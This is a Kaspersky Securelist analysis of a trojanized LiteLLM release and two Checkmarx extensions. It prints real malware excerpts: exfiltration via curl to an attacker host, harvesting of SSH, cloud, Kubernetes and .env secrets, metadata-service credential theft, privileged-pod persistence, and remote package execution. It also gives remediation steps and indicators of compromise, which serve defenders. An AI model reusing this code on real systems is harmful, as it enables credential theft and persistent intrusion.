

Why is the LiteLLM AI gateway compromise so dangerous?

SL securelist.com/litellm-supply-chain-attack/119257

Vladimir Gursky

March 26, 2026



A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer's device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.

This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim's system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers' primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware's logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.

algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.

```
PUB_KEY_CONTENT = ""-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICGKCAgEAvahaZDo8mucujrT15ry+
08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvv0UTgSq6cV
pQWpiuQa+UjTkWmC8RDDX08G/opLGQuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV
2/ElW1UE20tZWY+5jXonnMdWBmYwzYb5iwymbLtekGEydyLa1NzGAPxZgAygkbSE
mSHLau61fChgT9M1nPhCtdXkQRMri3kZZ4MDPuEEJTSqLr+D3ngr3237G14SRRQB
IqIjly50oFkqJxeNP5GJlt3Ino0q07fy7L00Tp9bFvXT0I5c+1lhgo0lScAu1ucA
b6Hua+xRQ6s//PzdMgWT3R1aK+TqMHJZTZA8HY0KaiFeVQ3YitWuiZ3ilwCtwhT5
TlS9cBYph8U2Ek4K20qmp1dbFmxm3kS1yQg8MmrBRx0YyjSTQteSeIlxrbpJhaU
Z7eneYC4G/Wl3raZfFwoHtmpFXDxA7HaBUArznP55LD/rZd6gq7lTDrSy5uMXbVt
6ZnKd0IwHbLkYlX0oLeCNF6Y0GhgyX9JsgrBxT0eHeGRq0zEZ7rCfCavDISbR5xK
J4VRwlUSVsQ8UXt6zIHqg4CKbrVB+WMsRo/FWu6RtcQHdmGPngy+Nvg5USAVljyk
rn3JMF0xZyXNRpQ/fZZx140CAwEAAQ==
-----END PUBLIC KEY-----""
```

The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers' remote server.

```
subprocess.run([
    "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
    "https://models.litellm.cloud/",
    "-H", "Content-Type: application/octet-stream",
    "-H", "X-Filename: tpcp.tar.gz",
    "--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)
```

What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim's system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:

- SSH keys
- GIT accounts
- .env files
- AWS, Kubernetes, email service, database, and WireGuard configurations
- files related to Helm, Terraform, and CI

- TLS keys and certificates

```
for h in homes+['/root']:
    for f in ['.ssh/id_rsa', '/.ssh/id_ed25519', '/.ssh/id_ecdsa', '/.ssh/id_dsa', '/.ssh/authorized_keys', '/.ssh/known_hosts', '/.ssh/config']:
        emit(h+f)
    walk([h+'/.ssh'], 2, lambda fp, fn: True)

walk(['/etc/ssh'], 1, lambda fp, fn: fn.startswith('ssh_host') and fn.endswith('_key'))

for h in homes+['/root']:
    for f in ['.git-credentials', '/.gitconfig']: emit(h+f)

for h in homes+['/root']:
    emit(h+'/.aws/credentials')
    emit(h+'/.aws/config')

for d in ['.', '..', '...', '..']:
    for f in ['.env', '.env.local', '.env.production', '.env.development', '.env.staging', '.env.test']:
        emit(d+'/' + f)
emit('/app/.env')
emit('/etc/environment')
walk(all_roots, 6, lambda fp, fn: fn in ['.env', '.env.local', '.env.production', '.env.development', '.env.staging'])

run('env | grep AWS_')
run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')

for h in homes+['/root']:
    emit(h+'/.kube/config')
emit('/etc/kubernetes/admin.conf')
emit('/etc/kubernetes/kubelet.conf')
emit('/etc/kubernetes/controller-manager.conf')
emit('/etc/kubernetes/scheduler.conf')
emit('/var/run/secrets/kubernetes.io/serviceaccount/token')
emit('/var/run/secrets/kubernetes.io/serviceaccount/ca.crt')
emit('/var/run/secrets/kubernetes.io/serviceaccount/namespace')
emit('/run/secrets/kubernetes.io/serviceaccount/token')
emit('/run/secrets/kubernetes.io/serviceaccount/ca.crt')
run('find /var/secrets /run/secrets -type f 2>/dev/null | xargs -I{} sh -c \'echo "=== {} ==="; cat "{}" 2>/dev/null\'')
run('env | grep -i kube; env | grep -i k8s')
run('kubectl get secrets --all-namespaces -o json 2>/dev/null || true')
```

A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.

```
run('env | grep AWS_')
run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
```

The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.

Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.

In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the `securityContext.privileged=true` option and mounts the node's root filesystem via `hostPath`. This allows it to escape the container and perform actions at the node level.

```
PERSIST_B64='aW1wb3J0IHVybGxpYi5yZXF1ZXN0Cm1tcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0

nodes=k8s_get('/api/v1/nodes')
for node in nodes.get('items',[]):
    node_name=node.get('metadata',{}).get('name','')
    if not node_name:continue
    drop_cmd=(
        f'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && '
        f'echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py && '
        f'chmod 700 /host/root/.config/sysmon/sysmon.py && '
        f'PY=$(chroot /host which python3 2>/dev/null || chroot /host which python 2>/dev/null) && '
        f'[ -n "$PY" ] && printf "[Unit]\\nDescription=System Telemetry Service\\nAfter=network.target\\n[Service'
        f'chroot /host systemctl --user daemon-reload 2>/dev/null; '
        f'chroot /host systemctl enable --now sysmon.service 2>/dev/null || true'
    )
    pod_manifest={
        'apiVersion':'v1','kind':'Pod',
        'metadata':{'name':f'node-setup-{node_name[:35]}','namespace':'kube-system'},
        'spec':{'containers':[
            {'name':'setup',
             'image':'alpine:latest',
             'command':['sh','-c',drop_cmd],
             'securityContext':{'privileged':True},
             'volumeMounts':[{'name':'host','mountPath':'/host'}]}],
        'volumes':[{'name':'host','hostPath':{'path':'/'}}],
        'restartPolicy':'Never'
    }
}
k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)
```

Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node's disk at the path `/root/.config/sysmon/sysmon.py`, and registers it via `systemd`. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node `checkmarx[.]zone/raw`, retrieving a link to the next payload from there. If the received value differs

from the state previously saved in `/tmp/.pg_state`, the script downloads a new file to `/tmp/pglog`, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container's temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.

A similar scenario is used for local persistence: in the absence of Kubernetes, the `sysmon.py` script is deployed in the user's directory at `~/.config/sysmon/sysmon.py` and is also registered as a service via `systemd`.

OpenVSX version of the malware

While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: `ast-results 2.53.0` and `cx-dev-assist 1.7.0`. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.

```
async function onAtLeastOneProviderAuthenticated() {
  var urlStatus = await checkUrl("https://checkmarx.zone/static/checkmarx-util-1.0.4.tgz");
  if (urlStatus === true) {
    const runners = [
      ["npx", "npx -y https://checkmarx.zone/static/checkmarx-util-1.0.4.tgz"],
      ["bunx", "bunx https://checkmarx.zone/static/checkmarx-util-1.0.4.tgz"],
      ["pnpx", "pnpx https://checkmarx.zone/static/checkmarx-util-1.0.4.tgz"],
      [
        "yarn",
        "yarn dlx https://checkmarx.zone/static/checkmarx-util-1.0.4.tgz",
      ],
    ];
    for (const [bin, cmd] of runners) {
      if (tryExec(`which ${bin}`)) {
        (0, child_process_1.exec)(cmd);
        return;
      }
    }
  }
}
```

This version is downloaded from `checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz` using NodeJS package installation utilities and is named `checkmarx-util`. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.

Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.

```
homes.forEach(h => {
  walk(path.join(h, '.ssh'), 2, (p) => ef(p));
  ef(path.join(h, '.git-credentials'));
  ef(path.join(h, '.gitconfig'));
  ef(path.join(h, '.aws/credentials'));
  ef(path.join(h, '.aws/config'));
  ef(path.join(h, '.kube/config'));
  walk(path.join(h, '.config/gcloud'), 4, (p) => ef(p));
  walk(path.join(h, '.azure'), 3, (p) => ef(p));
  [".docker/config.json", ".npmrc", ".vault-token", ".netrc", ".pgpass", ".bash_history", ".zsh_history"].forEach(f => ef(path.join(h, f)));
});

["/etc/kubernetes/admin.conf", "/etc/kubernetes/kubelet.conf", "/var/run/secrets/kubernetes.io/serviceaccount/token",
  "/etc/environment", "/etc/passwd",
  "/etc/shadow"].forEach(f => ef(f));
walk("/var/secrets", 4, (p) => ef(p));
walk("/run/secrets", 4, (p) => ef(p));
walk("/etc/wireguard", 1, (p, n) => { if(n.endsWith('.conf')) ef(p); });
try {
  const wgOut = execSync('wg showconf all', { timeout: 3000 }).toString();
  if (wgOut) {
    add("\n- wg showconf all -");
    add(wgOut);
  }
} catch(e) {}
```

Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.

Victimology

While assessing the attack's impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.

Conclusion

As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.

Prevention and protection

To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides [real-time data feeds on compromised packages and libraries](#), which can be used to secure the supply chain and protect development

projects from such threats.

Home security solutions, such as [Kaspersky Premium](#), help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device's functionality in the event of a malware infection.

To protect corporate devices, we recommend using a complex solution such as [Kaspersky NEXT](#), which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.

At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:

- Perform a full system scan using a reliable security solution.
- Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
- Check hosts and clusters for signs of compromise: the presence of `~/.config/sysmon/sysmon.py` files and suspicious pods in Kubernetes.
- Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
- Check for indicators of compromise (files on the system or network signs).

Indicators of Compromise:

URLs

[models\[.\]litellm\[.\]cloud](#)
[checkmarx\[.\]zone](#)

Infected packages

[85ED77A21B88CAE721F369FA6B7BBBA3](#)
[2E3A4412A7A487B32C5715167C755D08](#)
[0FCCC8E3A03896F45726203074AE225D](#)

Scripts

[F5560871F6002982A6A2CC0B3EE739F7](#)
[CDE4951BEE7E28AC8A29D33D34A41AE5](#)
[05BACBE163EF0393C2416CBD05E45E74](#)

- [Supply-chain attack](#)
- [Trojan-stealer](#)
- [Node.js](#)
- [Open source](#)

- [Python](#)
- [LiteLLM](#)

An AI gateway designed to steal your data

Your email address will not be published. Required fields are marked *

Name *

Email *

This site uses Akismet to reduce spam. [Learn how your comment data is processed.](#)